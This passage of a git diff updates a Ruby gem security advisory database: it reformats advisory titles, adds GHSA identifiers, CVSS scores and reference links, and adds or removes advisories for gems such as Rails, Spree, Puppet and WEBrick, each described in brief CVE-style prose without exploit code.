   date: 2007-06-15
   description: |
@@ -18,4 +18,8 @@ advisory:
     attacker can call private methods and manipulate data.
   patched_versions:
   - ">= 2.1.2"
+  related:
+    url:
+    - https://my.diffend.io/gems/builder/2.1.1/2.1.2
+    - http://osvdb.org/show/osvdb/95668
 ---
diff --git a/advisories/_posts/2007-11-27-CVE-2007-6183.md b/advisories/_posts/2007-11-27-CVE-2007-6183.md
index c91c5a67..1a0ffd83 100644
--- a/advisories/_posts/2007-11-27-CVE-2007-6183.md
+++ b/advisories/_posts/2007-11-27-CVE-2007-6183.md
@@ -1,7 +1,6 @@
 ---
 layout: advisory
-title: 'CVE-2007-6183 (gtk2): Ruby-GNOME2 gtk/src/rbgtkmessagedialog.c Gtk::MessageDialog.new()
-  Function Format String'
+title: 'CVE-2007-6183 (gtk2): CVE-2007-6183 ruby-gnome2: format string vulnerability'
 comments: false
 categories:
 - gtk2
@@ -9,15 +8,15 @@ advisory:
   gem: gtk2
   cve: 2007-6183
   osvdb: 40774
-  url: http://osvdb.org/show/osvdb/40774
-  title: Ruby-GNOME2 gtk/src/rbgtkmessagedialog.c Gtk::MessageDialog.new() Function
-    Format String
+  ghsa: xgj6-pgrm-x4r2
+  url: https://nvd.nist.gov/vuln/detail/CVE-2007-6183
+  title: 'CVE-2007-6183 ruby-gnome2: format string vulnerability'
   date: 2007-11-27
   description: |
-    Format string vulnerability in the mdiag_initialize function in
-    gtk/src/rbgtkmessagedialog.c in Ruby-GNOME 2 (aka Ruby/Gnome2) 0.16.0, and
-    SVN versions before 20071127, allows context-dependent attackers to execute
-    arbitrary code via format string specifiers in the message parameter.
+    Format string vulnerability in the mdiag_initialize function in gtk/src/rbgtkmessagedialog.c
+    in Ruby-GNOME 2 (aka Ruby/Gnome2) 0.16.0, and SVN versions before 20071127, allows
+    context-dependent attackers to execute arbitrary code via format string specifiers
+    in the message parameter.
   cvss_v2: 6.8
   patched_versions:
   - "> 0.16.0"
diff --git a/advisories/_posts/2008-08-12-CVE-2008-7311.md b/advisories/_posts/2008-08-12-CVE-2008-7311.md
index 734e421f..716d1cd7 100644
--- a/advisories/_posts/2008-08-12-CVE-2008-7311.md
+++ b/advisories/_posts/2008-08-12-CVE-2008-7311.md
@@ -1,8 +1,7 @@
 ---
 layout: advisory
-title: |
-  CVE-2008-7311 (spree): Spree Hardcoded config.action_controller_session Hash Value Cryptographic
-  Protection Weakness
+title: 'CVE-2008-7311 (spree): Spree Hardcoded config.action_controller_session Hash
+  Value Cryptographic Protection Weakness'
 comments: false
 categories:
 - spree
@@ -10,9 +9,9 @@ advisory:
   gem: spree
   cve: 2008-7311
   osvdb: 81506
+  ghsa: g466-57gh-cqfw
   url: https://spreecommerce.com/blog/security-vulernability-session-cookie-store
-  title: |
-    Spree Hardcoded config.action_controller_session Hash Value Cryptographic
+  title: Spree Hardcoded config.action_controller_session Hash Value Cryptographic
     Protection Weakness
   date: 2008-08-12
   description: |
diff --git a/advisories/_posts/2008-08-15-OSVDB-95749.md b/advisories/_posts/2008-08-15-OSVDB-95749.md
index 8e538b9d..8a250277 100644
--- a/advisories/_posts/2008-08-15-OSVDB-95749.md
+++ b/advisories/_posts/2008-08-15-OSVDB-95749.md
@@ -8,7 +8,7 @@ categories:
 advisory:
   gem: activeresource
   osvdb: 95749
-  url: http://osvdb.org/show/osvdb/95749
+  url: https://my.diffend.io/gems/activeresource/versions/2.1.0
   title: activeresource Gem for Ruby lib/active_resource/connection.rb request Function
     Multiple Variable Format String
   date: 2008-08-15
@@ -21,4 +21,9 @@ advisory:
     arbitrary code.
   patched_versions:
   - ">= 2.2.0"
+  related:
+    url:
+    - https://my.diffend.io/gems/activeresource/versions/2.1.0
+    - https://security.snyk.io/vuln/SNYK-RUBY-ACTIVERESOURCE-20004
+    - http://osvdb.org/show/osvdb/95749
 ---
diff --git a/advisories/_posts/2008-09-22-CVE-2008-7310.md b/advisories/_posts/2008-09-22-CVE-2008-7310.md
index 489421f6..fc68fd35 100644
--- a/advisories/_posts/2008-09-22-CVE-2008-7310.md
+++ b/advisories/_posts/2008-09-22-CVE-2008-7310.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: |
-  CVE-2008-7310 (spree): Spree Hash Restriction Weakness URL Parsing Order State Value Manipulation
+title: 'CVE-2008-7310 (spree): Spree Hash Restriction Weakness URL Parsing Order State
+  Value Manipulation'
 comments: false
 categories:
 - spree
@@ -9,9 +9,9 @@ advisory:
   gem: spree
   cve: 2008-7310
   osvdb: 81505
+  ghsa: 7h48-m3rw-vr27
   url: https://spreecommerce.com/blog/security-vulnerability-mass-assignment
-  title: |
-    Spree Hash Restriction Weakness URL Parsing Order State Value Manipulation
+  title: Spree Hash Restriction Weakness URL Parsing Order State Value Manipulation
   date: 2008-09-22
   description: |
     Spree contains a hash restriction weakness that occurs when parsing a
diff --git a/advisories/_posts/2008-10-10-OSVDB-95376.md b/advisories/_posts/2008-10-10-OSVDB-95376.md
index 0ea910e9..c57a2f91 100644
--- a/advisories/_posts/2008-10-10-OSVDB-95376.md
+++ b/advisories/_posts/2008-10-10-OSVDB-95376.md
@@ -8,7 +8,7 @@ categories:
 advisory:
   gem: activerecord-oracle_enhanced-adapter
   osvdb: 95376
-  url: http://osvdb.org/show/osvdb/95376
+  url: https://www.versioneye.com/Ruby/activerecord-oracle_enhanced-adapter/1.1.6
   title: Oracle "enhanced" ActiveRecord Gem for Ruby :limit / :offset SQL Injection
   date: 2008-10-10
   description: |
@@ -20,4 +20,9 @@ advisory:
     of arbitrary data.
   patched_versions:
   - ">= 1.1.8"
+  related:
+    url:
+    - https://www.versioneye.com/Ruby/activerecord-oracle_enhanced-adapter/1.1.6
+    - https://security.snyk.io/vuln/SNYK-RUBY-ACTIVERECORDORACLEENHANCEDADAPTER-20006
+    - http://osvdb.org/show/osvdb/95376
 ---
diff --git a/advisories/_posts/2008-12-08-CVE-2008-4310.md b/advisories/_posts/2008-12-08-CVE-2008-4310.md
new file mode 100644
index 00000000..60c093ed
--- /dev/null
+++ b/advisories/_posts/2008-12-08-CVE-2008-4310.md
@@ -0,0 +1,33 @@
+---
+layout: advisory
+title: 'CVE-2008-4310 (webrick): WEBrick Denial of Service Vulnerability'
+comments: false
+categories:
+- webrick
+advisory:
+  gem: webrick
+  cve: 2008-4310
+  ghsa: wfrc-r6c6-7j9r
+  url: https://bugzilla.redhat.com/show_bug.cgi?id=470252
+  title: WEBrick Denial of Service Vulnerability
+  date: 2008-12-08
+  description: |
+    httputils.rb in WEBrick in Ruby 1.8.1 and 1.8.5, as used in Red Hat
+    Enterprise Linux 4 and 5, allows remote attackers to cause a
+    denial of service (CPU consumption) via a crafted HTTP request.
+
+    NOTE: This issue exists because of an incomplete fix for CVE-2008-3656.
+  cvss_v2: 7.8
+  patched_versions:
+  - ">= 1.3.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2008-4310
+    - https://github.com/ruby/webrick/commit/b2ccd5ff7ddd67a4548299e110dcc5a4728a5534
+    - http://www.openwall.com/lists/oss-security/2008/12/04/2
+    - https://bugzilla.redhat.com/show_bug.cgi?id=470252
+    - https://oval.cisecurity.org/repository/search/definition/oval
+    - http://www.redhat.com/support/errata/RHSA-2008-0981.html
+    - https://web.archive.org/web/20111230125610/http://secunia.com/advisories/33013
+    - https://github.com/advisories/GHSA-wfrc-r6c6-7j9r
+---
diff --git a/advisories/_posts/2009-07-10-CVE-2009-2422.md b/advisories/_posts/2009-07-10-CVE-2009-2422.md
new file mode 100644
index 00000000..4bdfc104
--- /dev/null
+++ b/advisories/_posts/2009-07-10-CVE-2009-2422.md
@@ -0,0 +1,38 @@
+---
+layout: advisory
+title: 'CVE-2009-2422 (rails): High Security Vulnerability with authenticate_with_http_digest
+  of Rails'
+comments: false
+categories:
+- rails
+- rails
+advisory:
+  gem: rails
+  framework: rails
+  cve: 2009-2422
+  ghsa: rxq3-gm4p-5fj4
+  url: http://weblog.rubyonrails.org/2009/6/3/security-problem-with-authenticate_with_http_digest
+  title: High Security Vulnerability with authenticate_with_http_digest of Rails
+  date: 2009-07-10
+  description: |
+    The example code for the digest authentication functionality
+    (http_authentication.rb) in Ruby on Rails before 2.3.3 defines
+    an authenticate_or_request_with_http_digest block that returns
+    nil instead of false when the user does not exist, which allows
+    context-dependent attackers to bypass authentication for
+    applications that are derived from this example by sending an
+    invalid username without a password.
+  cvss_v2: 7.5
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 2.3.3"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2009-2422
+    - http://weblog.rubyonrails.org/2009/6/3/security-problem-with-authenticate_with_http_digest
+    - https://lists.apple.com/archives/security-announce/2010/Mar/msg00001.html
+    - https://exchange.xforce.ibmcloud.com/vulnerabilities/51528
+    - http://support.apple.com/kb/HT4077
+    - http://n8.tumblr.com/post/117477059/security-hole-found-in-rails-2-3s
+    - https://github.com/advisories/GHSA-rxq3-gm4p-5fj4
+---
diff --git a/advisories/_posts/2009-12-01-CVE-2013-0263.md b/advisories/_posts/2009-12-01-CVE-2013-0263.md
deleted file mode 100644
index 20933906..00000000
--- a/advisories/_posts/2009-12-01-CVE-2013-0263.md
+++ /dev/null
@@ -1,34 +0,0 @@
----
-layout: advisory
-title: ! "CVE-2013-0263: Rack Rack::Session::Cookie Function Timing Attack Remote
-  Code Execution \n"
-comments: false
-categories:
-- rack
-advisory:
-  gem: rack
-  cve: 2013-0263
-  osvdb: 89939
-  url: http://osvdb.org/show/osvdb/89939
-  title: ! "Rack Rack::Session::Cookie Function Timing Attack Remote Code Execution
-    \n"
-  date: 2009-12-01
-  description: ! 'Rack contains a flaw that is due to an error in the Rack::Session::Cookie
-
-    function. Users of the Marshal session cookie encoding (the default), are
-
-    subject to a timing attack that may lead an attacker to execute arbitrary
-
-    code. This attack is more practical against ''cloud'' users as intra-cloud
-
-    latencies are sufficiently low to make the attack viable.
-
-'
-  cvss_v2: 5.1
-  patched_versions:
-  - ~> 1.1.6
-  - ~> 1.2.8
-  - ~> 1.3.10
-  - ~> 1.4.5
-  - ! '>= 1.5.2'
----
diff --git a/advisories/_posts/2009-12-07-CVE-2009-4123.md b/advisories/_posts/2009-12-07-CVE-2009-4123.md
index 9f26bbe4..499a616a 100644
--- a/advisories/_posts/2009-12-07-CVE-2009-4123.md
+++ b/advisories/_posts/2009-12-07-CVE-2009-4123.md
@@ -5,10 +5,12 @@ title: 'CVE-2009-4123 (jruby-openssl): jruby-openssl Gem for JRuby fails to do p
 comments: false
 categories:
 - jruby-openssl
+- jruby
 advisory:
   gem: jruby-openssl
   platform: jruby
   cve: 2009-4123
+  ghsa: xgv7-pqqh-h2w9
   url: http://jruby.org/2009/12/07/vulnerability-in-jruby-openssl
   title: jruby-openssl Gem for JRuby fails to do proper certificate validation
   date: 2009-12-07
@@ -19,6 +21,7 @@ advisory:
     that a secure connection to a rogue SSL server is legitimate. Attackers could
     also penetrate client-validated SSL server applications with a dummy
     certificate.
+  cvss_v3: 7.5
   patched_versions:
   - ">= 0.6"
 ---
diff --git a/advisories/_posts/2010-02-01-OSVDB-62067.md b/advisories/_posts/2010-02-01-OSVDB-62067.md
index b2856a8e..7b414abe 100644
--- a/advisories/_posts/2010-02-01-OSVDB-62067.md
+++ b/advisories/_posts/2010-02-01-OSVDB-62067.md
@@ -5,6 +5,7 @@ title: 'OSVDB-62067 (bcrypt): bcrypt-ruby Gem for Ruby incorrect encoding of non
 comments: false
 categories:
 - bcrypt
+- jruby
 advisory:
   gem: bcrypt
   platform: jruby
@@ -14,13 +15,23 @@ advisory:
     only)
   date: 2010-02-01
   description: |
+    In https://security.snyk.io/vuln/SNYK-RUBY-BCRYPT-20009, found
+    "The advisory has been revoked - it doesn't affect any version of package bcrypt"
+
     bcrypt-ruby Gem for Ruby suffered from a bug related to character
     encoding that substantially reduced the entropy of hashed passwords
     containing non US-ASCII characters. An incorrect encoding step
-    transparently replaced such characters by '?' prior to hashing. In the
-    worst case of a password consisting solely of non-US-ASCII characters,
-    this would cause its hash to be equivalent to all other such passwords
-    of the same length. This issue only affects the JRuby implementation.
+    transparently replaced such characters by '?' prior to hashing.
+    In the worst case of a password consisting solely of non-US-ASCII
+    characters, this would cause its hash to be equivalent to all other
+    such passwords of the same length.
+
+    This issue only affects the JRuby implementation.
   patched_versions:
   - ">= 2.1.4"
+  related:
+    url:
+    - https://github.com/jeremyh/jBCrypt
+    - http://www.mindrot.org/files/jBCrypt/internat.adv
+    - https://github.com/bcrypt-ruby/bcrypt-ruby/blob/master/ext/jruby/bcrypt_jruby/BCrypt.java
 ---
diff --git a/advisories/_posts/2010-04-27-OSVDB-110439.md b/advisories/_posts/2010-04-27-OSVDB-110439.md
new file mode 100644
index 00000000..b3828ec5
--- /dev/null
+++ b/advisories/_posts/2010-04-27-OSVDB-110439.md
@@ -0,0 +1,29 @@
+---
+layout: advisory
+title: 'OSVDB-110439 (fog-dragonfly): Dragonfly Gem for Ruby Image Uploading & Processing
+  Remote Command Execution'
+comments: false
+categories:
+- fog-dragonfly
+advisory:
+  gem: fog-dragonfly
+  osvdb: 110439
+  url: https://security.snyk.io/vuln/SNYK-RUBY-DRAGONFLY-20193
+  title: Dragonfly Gem for Ruby Image Uploading & Processing Remote Command Execution
+  date: 2010-04-27
+  description: |
+    Dragonfly Gem for Ruby contains a flaw in Uploading & Processing
+    that is due to the gem failing to restrict arbitrary commands to
+    imagemagicks convert. This may allow a remote attacker to gain
+    read/write access to the filesystem and execute arbitrary commands.
+
+    This gem has been renamed. Please use "dragonfly" from now on.
+  patched_versions:
+  - ">= 0.8.4"
+  related:
+    url:
+    - https://github.com/markevans/dragonfly/compare/v0.8.3...v0.8.4
+    - https://security.snyk.io/vuln/SNYK-RUBY-DRAGONFLY-20193
+    - https://www.mend.io/vulnerability-database/WS-2014-0016
+    - http://osvdb.org/show/osvdb/110439
+---
diff --git a/advisories/_posts/2010-08-12-OSVDB-114600.md b/advisories/_posts/2010-08-12-OSVDB-114600.md
index 351430e6..5ba2b8c1 100644
--- a/advisories/_posts/2010-08-12-OSVDB-114600.md
+++ b/advisories/_posts/2010-08-12-OSVDB-114600.md
@@ -8,13 +8,18 @@ categories:
 advisory:
   gem: curb
   osvdb: 114600
-  url: http://osvdb.org/show/osvdb/114600
+  url: https://my.diffend.io/gems/curb/versions/0.6.4.0
   title: curb Gem for Ruby Empty http_put Body Handling Remote DoS
   date: 2010-08-12
   description: |
-    curb Gem for Ruby contains a flaw that is triggered when handling an empty
-    http_put body. This may allow a remote attacker to crash an application
-    linked against the library.
+    curb Gem for Ruby contains a flaw that is triggered when handling
+    an empty http_put body. This may allow a remote attacker to crash
+    an application linked against the library.
   patched_versions:
   - ">= 0.7.8"
+  related:
+    url:
+    - https://my.diffend.io/gems/curb/versions/0.6.4.0
+    - https://my.diffend.io/gems/curb/0.7.7.1/0.7.8
+    - http://osvdb.org/show/osvdb/114600
 ---
diff --git a/advisories/_posts/2010-11-02-CVE-2010-3978.md b/advisories/_posts/2010-11-02-CVE-2010-3978.md
index 5ec3a9a8..d5d1f517 100644
--- a/advisories/_posts/2010-11-02-CVE-2010-3978.md
+++ b/advisories/_posts/2010-11-02-CVE-2010-3978.md
@@ -1,8 +1,7 @@
 ---
 layout: advisory
-title: |
-  CVE-2010-3978 (spree): Spree Multiple Script JSON Request Validation Weakness Remote Information
-  Disclosure
+title: 'CVE-2010-3978 (spree): Spree Multiple Script JSON Request Validation Weakness
+  Remote Information Disclosure'
 comments: false
 categories:
 - spree
@@ -10,9 +9,9 @@ advisory:
   gem: spree
   cve: 2010-3978
   osvdb: 69098
+  ghsa: hwrx-wc75-mgh7
   url: https://spreecommerce.com/blog/json-hijacking-vulnerability
-  title: |
-    Spree Multiple Script JSON Request Validation Weakness Remote Information
+  title: Spree Multiple Script JSON Request Validation Weakness Remote Information
     Disclosure
   date: 2010-11-02
   description: |
diff --git a/advisories/_posts/2011-01-12-OSVDB-106954.md b/advisories/_posts/2011-01-12-OSVDB-106954.md
index c5102da6..396e5517 100644
--- a/advisories/_posts/2011-01-12-OSVDB-106954.md
+++ b/advisories/_posts/2011-01-12-OSVDB-106954.md
@@ -8,11 +8,17 @@ categories:
 advisory:
   gem: quick_magick
   osvdb: 106954
-  url: http://osvdb.org/show/osvdb/106954
+  url: https://security.snyk.io/vuln/SNYK-RUBY-QUICKMAGICK-20012
   title: quick_magick Gem for Ruby QuickMagick::Image.read Function Crafted String
     Handling Remote Command Injection
   date: 2011-01-12
-  description: quick_magick Gem for Ruby contains a flaw in the QuickMagick::Image.read
-    function. The issue is triggered when handling a specially crafted string. This
-    may allow a remote attacker to inject arbitrary commands.
+  description: |
+    quick_magick Gem for Ruby contains a flaw in the QuickMagick::Image.read
+    function. The issue is triggered when handling a specially crafted string.
+    This may allow a remote attacker to inject arbitrary commands.
+  notes: Never patched
+  related:
+    url:
+    - https://security.snyk.io/vuln/SNYK-RUBY-QUICKMAGICK-20012
+    - http://osvdb.org/show/osvdb/106954
 ---
diff --git a/advisories/_posts/2011-01-25-CVE-2011-0739.md b/advisories/_posts/2011-01-25-CVE-2011-0739.md
index 5e3d5485..d176fbc5 100644
--- a/advisories/_posts/2011-01-25-CVE-2011-0739.md
+++ b/advisories/_posts/2011-01-25-CVE-2011-0739.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: "CVE-2011-0739 (mail): Mail Gem for Ruby lib/mail/network/delivery_methods/sendmail.rb
-  Email From: Address Arbitrary Shell Command Injection \n"
+title: 'CVE-2011-0739 (mail): Mail Gem for Ruby lib/mail/network/delivery_methods/sendmail.rb
+  Email From: Address Arbitrary Shell Command Injection'
 comments: false
 categories:
 - mail
@@ -9,9 +9,10 @@ advisory:
   gem: mail
   cve: 2011-0739
   osvdb: 70667
-  url: http://www.osvdb.org/show/osvdb/70667
-  title: "Mail Gem for Ruby lib/mail/network/delivery_methods/sendmail.rb Email From:
-    Address Arbitrary Shell Command Injection \n"
+  ghsa: cpjc-p7fc-j9xh
+  url: https://nvd.nist.gov/vuln/detail/CVE-2011-0739
+  title: 'Mail Gem for Ruby lib/mail/network/delivery_methods/sendmail.rb Email From:
+    Address Arbitrary Shell Command Injection'
   date: 2011-01-25
   description: |
     Mail Gem for Ruby contains a flaw related to the failure to properly sanitise
diff --git a/advisories/_posts/2011-04-19-OSVDB-73751.md b/advisories/_posts/2011-04-19-OSVDB-73751.md
index 6515fb48..d897a11b 100644
--- a/advisories/_posts/2011-04-19-OSVDB-73751.md
+++ b/advisories/_posts/2011-04-19-OSVDB-73751.md
@@ -7,7 +7,7 @@ categories:
 advisory:
   gem: spree
   osvdb: 73751
-  url: https://spreecommerce.com/blog/security-fixes
+  url: https://web.archive.org/web/20160331142302/https://spreecommerce.com/blog/security-fixes
   title: Spree Content Controller Unspecified Arbitrary File Disclosure
   date: 2011-04-19
   description: |
@@ -15,4 +15,9 @@ advisory:
     expose arbitrary files on the server
   patched_versions:
   - ">= 0.50.1"
+  related:
+    url:
+    - https://web.archive.org/web/20160331142302/https://spreecommerce.com/blog/security-fixes
+    - https://seclists.org/oss-sec/2015/q3/275
+    - https://github.com/spree/spree/commit/0a2ee5fc68b22b8257e8a6cf1811598293416d33
 ---
diff --git a/advisories/_posts/2011-05-13-CVE-2011-0995.md b/advisories/_posts/2011-05-13-CVE-2011-0995.md
new file mode 100644
index 00000000..29819acc
--- /dev/null
+++ b/advisories/_posts/2011-05-13-CVE-2011-0995.md
@@ -0,0 +1,32 @@
+---
+layout: advisory
+title: 'CVE-2011-0995 (sqlite3-ruby): rubygem-sqlite3 gem uses weak file permissions'
+comments: false
+categories:
+- sqlite3-ruby
+advisory:
+  gem: sqlite3-ruby
+  cve: 2011-0995
+  ghsa: 6x46-7rrv-m4h8
+  osvdb: 72180
+  url: https://www.suse.com/security/cve/CVE-2011-0995.html
+  title: rubygem-sqlite3 gem uses weak file permissions
+  date: 2011-05-13
+  description: |
+    The sqlite3-ruby gem in the rubygem-sqlite3 package before
+    1.2.4-0.5.1 in SUSE Linux Enterprise (SLE) 11 SP1 uses weak
+    permissions for unspecified files, which allows local users
+    to gain privileges via unknown vectors.
+  cvss_v2: 2.1
+  patched_versions:
+  - ">= 1.2.4"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2011-0995
+    - https://www.suse.com/security/cve/CVE-2011-0995.html
+    - http://www.osvdb.org/72180
+    - https://github.com/advisories/GHSA-6x46-7rrv-m4h8
+    - https://exchange.xforce.ibmcloud.com/vulnerabilities/67263
+    - https://ubuntu.com/security/CVE-2011-0995
+    - https://cve.circl.lu/cve/CVE-2011-0995
+---
diff --git a/advisories/_posts/2011-08-16-CVE-2011-3186.md b/advisories/_posts/2011-08-16-CVE-2011-3186.md
index 38236f9c..33e69265 100644
--- a/advisories/_posts/2011-08-16-CVE-2011-3186.md
+++ b/advisories/_posts/2011-08-16-CVE-2011-3186.md
@@ -10,6 +10,7 @@ advisory:
   framework: rails
   cve: 2011-3186
   osvdb: 74616
+  ghsa: fcqf-h4h4-695m
   url: https://groups.google.com/forum/#!topic/rubyonrails-security/b_yTveAph2g
   title: Response Splitting Vulnerability in Ruby on Rails
   date: 2011-08-16
diff --git a/advisories/_posts/2011-09-01-CVE-2011-4969.md b/advisories/_posts/2011-09-01-CVE-2011-4969.md
new file mode 100644
index 00000000..c559be29
--- /dev/null
+++ b/advisories/_posts/2011-09-01-CVE-2011-4969.md
@@ -0,0 +1,34 @@
+---
+layout: advisory
+title: 'CVE-2011-4969 (jquery-rails): jQuery vulnerable to Cross-Site Scripting (XSS)'
+comments: false
+categories:
+- jquery-rails
+advisory:
+  gem: jquery-rails
+  cve: 2011-4969
+  ghsa: 579v-mp3v-rrw5
+  url: http://blog.jquery.com/2011/09/01/jquery-1-6-3-released
+  title: jQuery vulnerable to Cross-Site Scripting (XSS)
+  date: 2011-09-01
+  description: |
+    Cross-site scripting (XSS) vulnerability in jQuery before 1.6.3,
+    when using location.hash to select elements, allows remote attackers
+    to inject arbitrary web script or HTML via a crafted tag.
+  cvss_v2: 4.3
+  patched_versions:
+  - ">= 1.6.3"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2011-4969
+    - http://blog.jquery.com/2011/09/01/jquery-1-6-3-released
+    - http://blog.mindedsecurity.com/2011/07/jquery-is-sink.html
+    - http://bugs.jquery.com/ticket/9521
+    - https://github.com/jquery/jquery/commit/db9e023e62c1ff5d8f21ed9868ab6878da2005e9
+    - https://lists.apache.org/thread.html/ff8dcfe29377088ab655fda9d585dccd5b1f07fabd94ae84fd60a7f8
+    - https://security.netapp.com/advisory/ntap-20190416-0007
+    - http://www.openwall.com/lists/oss-security/2013/01/31/3
+    - http://www.ubuntu.com/usn/USN-1722-1
+    - https://security.snyk.io/vuln/SNYK-DOTNET-JQUERY-450224
+    - https://github.com/advisories/GHSA-579v-mp3v-rrw5
+---
diff --git a/advisories/_posts/2011-09-01-OSVDB-97854.md b/advisories/_posts/2011-09-01-OSVDB-97854.md
index 02c530df..966b9313 100644
--- a/advisories/_posts/2011-09-01-OSVDB-97854.md
+++ b/advisories/_posts/2011-09-01-OSVDB-97854.md
@@ -8,13 +8,23 @@ categories:
 advisory:
   gem: fog-dragonfly
   osvdb: 97854
-  url: http://osvdb.org/show/osvdb/97854
+  url: https://security.snyk.io/vuln/SNYK-RUBY-DRAGONFLY-20016
   title: Dragonfly Gem for Ruby on Windows Shell Escaping Weakness
   date: 2011-09-01
   description: |
-    Dragonfly Gem for Ruby contains a flaw that is due to the program failing to
-    properly escape a shell that contains injected characters. This may allow a
-    context-dependent attacker to potentially execute arbitrary commands.
+    Dragonfly Gem for Ruby contains a flaw that is due to the program
+    failing to properly escape a shell that contains injected characters.
+    This may allow a context-dependent attacker to potentially execute
+    arbitrary commands.
 
     This gem has been renamed. Please use "dragonfly" from now on.
+  patched_versions:
+  - ">= 0.9.6"
+  related:
+    url:
+    - https://github.com/markevans/dragonfly/blob/master/spec/dragonfly/shell_spec.rb#L26
+    - https://github.com/markevans/dragonfly/pull/506
+    - https://github.com/markevans/dragonfly/commit/f4f8e37a171a34f0ef3a6d80b52f44ed4d66d3bc
+    - https://security.snyk.io/vuln/SNYK-RUBY-DRAGONFLY-20016
+    - http://osvdb.org/show/osvdb/97854
 ---
diff --git a/advisories/_posts/2011-09-20-OSVDB-115917.md b/advisories/_posts/2011-09-20-OSVDB-115917.md
index a589e81d..17611972 100644
--- a/advisories/_posts/2011-09-20-OSVDB-115917.md
+++ b/advisories/_posts/2011-09-20-OSVDB-115917.md
@@ -8,7 +8,7 @@ categories:
 advisory:
   gem: bundler
   osvdb: 115917
-  url: http://www.osvdb.org/show/osvdb/115917
+  url: https://my.diffend.io/gems/bundler/versions/1.0.0.beta.8
   title: Bundler Gem for Ruby install Command Process Listing Local Plaintext Credential
     Disclosure
   date: 2011-09-20
@@ -18,4 +18,12 @@ advisory:
     This may allow a local attacker to gain access to credential information.
   patched_versions:
   - ">= 1.1.rc"
+  related:
+    url:
+    - https://my.diffend.io/gems/bundler/versions/1.0.0.beta.8
+    - https://my.diffend.io/gems/bundler/versions/1.1.rc
+    - https://github.com/rubygems/bundler/commit/95bb14483cf8af857dc901c22db48cd3057d243e
+    - https://github.com/rubygems/bundler/pull/1463
+    - https://github.com/rubygems/bundler/issues/1440
+    - http://www.osvdb.org/show/osvdb/115917
 ---
diff --git a/advisories/_posts/2011-10-05-OSVDB-76011.md b/advisories/_posts/2011-10-05-OSVDB-76011.md
index 13d407b1..6dd9072c 100644
--- a/advisories/_posts/2011-10-05-OSVDB-76011.md
+++ b/advisories/_posts/2011-10-05-OSVDB-76011.md
@@ -1,17 +1,15 @@
 ---
 layout: advisory
-title: |
-  OSVDB-76011 (spree): Spree Search ProductScope Class search[send][] Parameter Arbitrary Command
-  Execution
+title: 'OSVDB-76011 (spree): Spree Search ProductScope Class search[send][] Parameter
+  Arbitrary Command Execution'
 comments: false
 categories:
 - spree
 advisory:
   gem: spree
   osvdb: 76011
-  url: https://spreecommerce.com/blog/remote-command-product-group
-  title: |
-    Spree Search ProductScope Class search[send][] Parameter Arbitrary Command
+  url: https://web.archive.org/web/20121124215359/https://spreecommerce.com/blog/remote-command-product-group
+  title: Spree Search ProductScope Class search[send][] Parameter Arbitrary Command
     Execution
   date: 2011-10-05
   description: |
@@ -21,4 +19,7 @@ advisory:
     command execution.
   patched_versions:
   - ">= 0.60.2"
+  related:
+    url:
+    - https://web.archive.org/web/20121124215359/https://spreecommerce.com/blog/remote-command-product-group
 ---
diff --git a/advisories/_posts/2011-10-27-CVE-2011-3870.md b/advisories/_posts/2011-10-27-CVE-2011-3870.md
new file mode 100644
index 00000000..f5edf429
--- /dev/null
+++ b/advisories/_posts/2011-10-27-CVE-2011-3870.md
@@ -0,0 +1,37 @@
+---
+layout: advisory
+title: 'CVE-2011-3870 (puppet): Puppet allows local users to modify the permissions
+  of arbitrary files'
+comments: false
+categories:
+- puppet
+advisory:
+  gem: puppet
+  cve: 2011-3870
+  ghsa: qh3g-27jf-3j54
+  url: https://puppet.com/security/cve/cve-2011-3870
+  title: Puppet allows local users to modify the permissions of arbitrary files
+  date: 2011-10-27
+  description: |
+    Puppet 2.7.x before 2.7.5, 2.6.x before 2.6.11, and 0.25.x
+    allows local users to modify the permissions of arbitrary
+    files via a symlink attack on the SSH authorized_keys file.
+  cvss_v2: 6.3
+  patched_versions:
+  - "~> 2.6.11"
+  - ">= 2.7.5"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2011-3870
+    - https://puppet.com/security/cve/cve-2011-3870
+    - https://github.com/puppetlabs/puppet/commit/88512e880bd2a03694b5fef42540dc7b3da05d30
+    - https://github.com/puppetlabs/puppet/commit/b29b1785d543a3cea961fffa9b3c15f14ab7cce0
+    - http://groups.google.com/group/puppet-announce/browse_thread/thread/91e3b46d2328a1cb
+    - http://lists.fedoraproject.org/pipermail/package-announce/2011-October/068053.html
+    - http://lists.fedoraproject.org/pipermail/package-announce/2011-October/068061.html
+    - http://lists.fedoraproject.org/pipermail/package-announce/2011-October/068093.html
+    - http://www.debian.org/security/2011/dsa-2314
+    - http://www.ubuntu.com/usn/USN-1223-1
+    - http://www.ubuntu.com/usn/USN-1223-2
+    - https://github.com/advisories/GHSA-qh3g-27jf-3j54
+---
diff --git a/advisories/_posts/2011-10-27-CVE-2011-3871.md b/advisories/_posts/2011-10-27-CVE-2011-3871.md
new file mode 100644
index 00000000..3d0b7927
--- /dev/null
+++ b/advisories/_posts/2011-10-27-CVE-2011-3871.md
@@ -0,0 +1,38 @@
+---
+layout: advisory
+title: 'CVE-2011-3871 (puppet): Puppet uses predictable filenames, allowing arbitrary
+  file overwrite'
+comments: false
+categories:
+- puppet
+advisory:
+  gem: puppet
+  cve: 2011-3871
+  ghsa: mpmx-gm5v-q789
+  url: https://puppet.com/security/cve/cve-2011-3871
+  title: Puppet uses predictable filenames, allowing arbitrary file overwrite
+  date: 2011-10-27
+  description: |
+    Puppet 2.7.x before 2.7.5, 2.6.x before 2.6.11, and 0.25.x,
+    when running in `--edit` mode, uses a predictable file name, which
+    allows local users to run arbitrary Puppet code or trick a user
+    into editing arbitrary files.
+  cvss_v2: 6.2
+  patched_versions:
+  - "~> 2.6.11"
+  - ">= 2.7.5"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2011-3871
+    - https://puppet.com/security/cve/cve-2011-3871
+    - https://github.com/puppetlabs/puppet/commit/343c7bd381b63e042d437111718918f951d9b30d
+    - https://github.com/puppetlabs/puppet/commit/d76c30935460ded953792dfe49f72b8c5158e899
